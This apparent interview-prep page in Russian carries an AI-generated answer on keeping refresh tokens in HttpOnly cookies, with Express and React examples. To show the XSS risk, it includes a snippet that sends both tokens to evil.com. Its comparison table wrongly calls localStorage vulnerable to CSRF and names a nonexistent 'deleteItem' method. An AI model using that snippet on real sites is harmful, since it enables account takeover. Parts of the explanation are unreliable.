← Назад к вопросам
Почему хранишь refresh token не в localStorage?
2.2 Middle🔥 191 комментариев
#JavaScript Core
Комментарии (1)
🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)
Ответ сгенерирован нейросетью и может содержать ошибки
Почему хранить refresh token не в localStorage?
Короче: localStorage подвержен XSS атакам. Refresh token лучше хранить в HttpOnly Cookie, чтобы JavaScript не мог его украсть.
Проблема localStorage
Уязвимость к XSS (Cross-Site Scripting)
Если на сайт внедрен вредоносный JavaScript, злоумышленник может легко украсть токены:
// Вредоносный код на странице
const refreshToken = localStorage.getItem('refreshToken');
const accessToken = localStorage.getItem('accessToken');
// Отправляет токены на сервер злоумышленника
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ refreshToken, accessToken })
});
Атакующий может:
- Получить доступ к аккаунту пользователя
- Выдать себя за пользователя
- Украсть персональные данные
Решение: HttpOnly Cookie
Как это работает
HttpOnly Cookie не доступны JavaScript, только HTTP запросы могут их использовать:
// Сервер отправляет:
Set-Cookie: refreshToken=abc123; HttpOnly; Secure; SameSite=Strict
// JavaScript НЕ может прочитать это
console.log(document.cookie); // refreshToken НЕ будет здесь
// Но браузер автоматически отправит в запросах
fetch('/api/refresh') // refreshToken отправится автоматически
Правильная схема аутентификации
Логин:
1. Пользователь отправляет логин/пароль
2. Сервер проверяет и создает:
- Access Token (короткоживущий, 15 минут)
- Refresh Token (долгоживущий, 7 дней)
3. Сервер отправляет:
- Access Token в теле ответа (для localStorage)
- Refresh Token в HttpOnly Cookie
Использование:
4. Клиент отправляет Access Token в headers
5. При истечении Access Token:
6. Клиент отправляет запрос на /api/refresh
7. Браузер автоматически включит Refresh Token из Cookie
8. Сервер проверяет Refresh Token и выдает новый Access Token
Практический пример
Серверная часть (Express + Node.js)
// POST /api/login
app.post('/api/login', (req, res) => {
const { email, password } = req.body;
// Проверяем credentials
const user = validateUser(email, password);
if (!user) return res.status(401).json({ error: 'Invalid credentials' });
// Создаем токены
const accessToken = jwt.sign(
{ userId: user.id },
process.env.ACCESS_SECRET,
{ expiresIn: '15m' }
);
const refreshToken = jwt.sign(
{ userId: user.id },
process.env.REFRESH_SECRET,
{ expiresIn: '7d' }
);
// Отправляем refresh token в HttpOnly Cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true, // Недоступна JavaScript
secure: true, // Только HTTPS
sameSite: 'strict', // Только same-site запросы
maxAge: 7 * 24 * 60 * 60 * 1000 // 7 дней
});
// Access token в теле (для localStorage)
res.json({ accessToken });
});
// POST /api/refresh
app.post('/api/refresh', (req, res) => {
const refreshToken = req.cookies.refreshToken; // Из Cookie
if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });
try {
const decoded = jwt.verify(refreshToken, process.env.REFRESH_SECRET);
const newAccessToken = jwt.sign(
{ userId: decoded.userId },
process.env.ACCESS_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken: newAccessToken });
} catch (error) {
res.status(401).json({ error: 'Invalid refresh token' });
}
});
Клиентская часть (React)
// lib/api.ts
interface AuthResponse {
accessToken: string;
}
export async function login(email: string, password: string): Promise<void> {
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include', // Важно! Отправляет cookies
body: JSON.stringify({ email, password })
});
if (!response.ok) throw new Error('Login failed');
const data = await response.json();
// Сохраняем ТОЛЬКО access token в localStorage
localStorage.setItem('accessToken', data.accessToken);
}
export async function refreshAccessToken(): Promise<string> {
const response = await fetch('/api/refresh', {
method: 'POST',
credentials: 'include' // Отправляет refresh token из Cookie
});
if (!response.ok) throw new Error('Refresh failed');
const data: AuthResponse = await response.json();
localStorage.setItem('accessToken', data.accessToken);
return data.accessToken;
}
export async function apiRequest(url: string, options: RequestInit = {}) {
let accessToken = localStorage.getItem('accessToken');
// Запрос с access token
let response = await fetch(url, {
...options,
credentials: 'include',
headers: {
...options.headers,
Authorization: `Bearer ${accessToken}`
}
});
// Если 401 - refresh и повторить
if (response.status === 401) {
accessToken = await refreshAccessToken();
response = await fetch(url, {
...options,
credentials: 'include',
headers: {
...options.headers,
Authorization: `Bearer ${accessToken}`
}
});
}
return response;
}
React Hook для аутентификации
// hooks/useAuth.ts
import { useCallback } from 'react';
import { login, refreshAccessToken, apiRequest } from '@/lib/api';
export function useAuth() {
const handleLogin = useCallback(async (email: string, password: string) => {
await login(email, password);
}, []);
const handleLogout = useCallback(async () => {
await fetch('/api/logout', {
method: 'POST',
credentials: 'include' // Браузер удалит cookie
});
localStorage.removeItem('accessToken');
}, []);
return { handleLogin, handleLogout };
}
Почему именно такая схема?
| Параметр | localStorage | HttpOnly Cookie |
|---|---|---|
| XSS атака | Уязвим (JS может украсть) | Защищен (JS не видит) |
| CSRF атака | Уязвим | Защищен (SameSite) |
| Управление | Ручное (deleteItem) | Браузер управляет |
| Автоматическая отправка | Нет (нужна логика) | Да (все запросы) |
Лучшие практики
-
Refresh Token -> HttpOnly Cookie
- Недоступен JavaScript
- Защищен от XSS
- Автоматически отправляется
-
Access Token -> localStorage
- Нужен для каждого запроса в заголовке
- Можно прочитать JavaScript
- Если украдут - потеря не так критична (15 минут)
-
Cookie параметры
res.cookie('refreshToken', token, {
httpOnly: true, // Обязательно
secure: true, // Только HTTPS
sameSite: 'strict' // Защита от CSRF
});
Заключение
localStorage для refresh token - плохо:
- XSS атака украдет оба токена
- Токены видны в DevTools
- Отсутствует защита
HttpOnly Cookie для refresh token - хорошо:
- JavaScript не видит
- Защита от XSS
- Автоматическая отправка
- Стандартный подход в industry
Это стандарт OAuth 2.0 и рекомендация всех крупных компаний.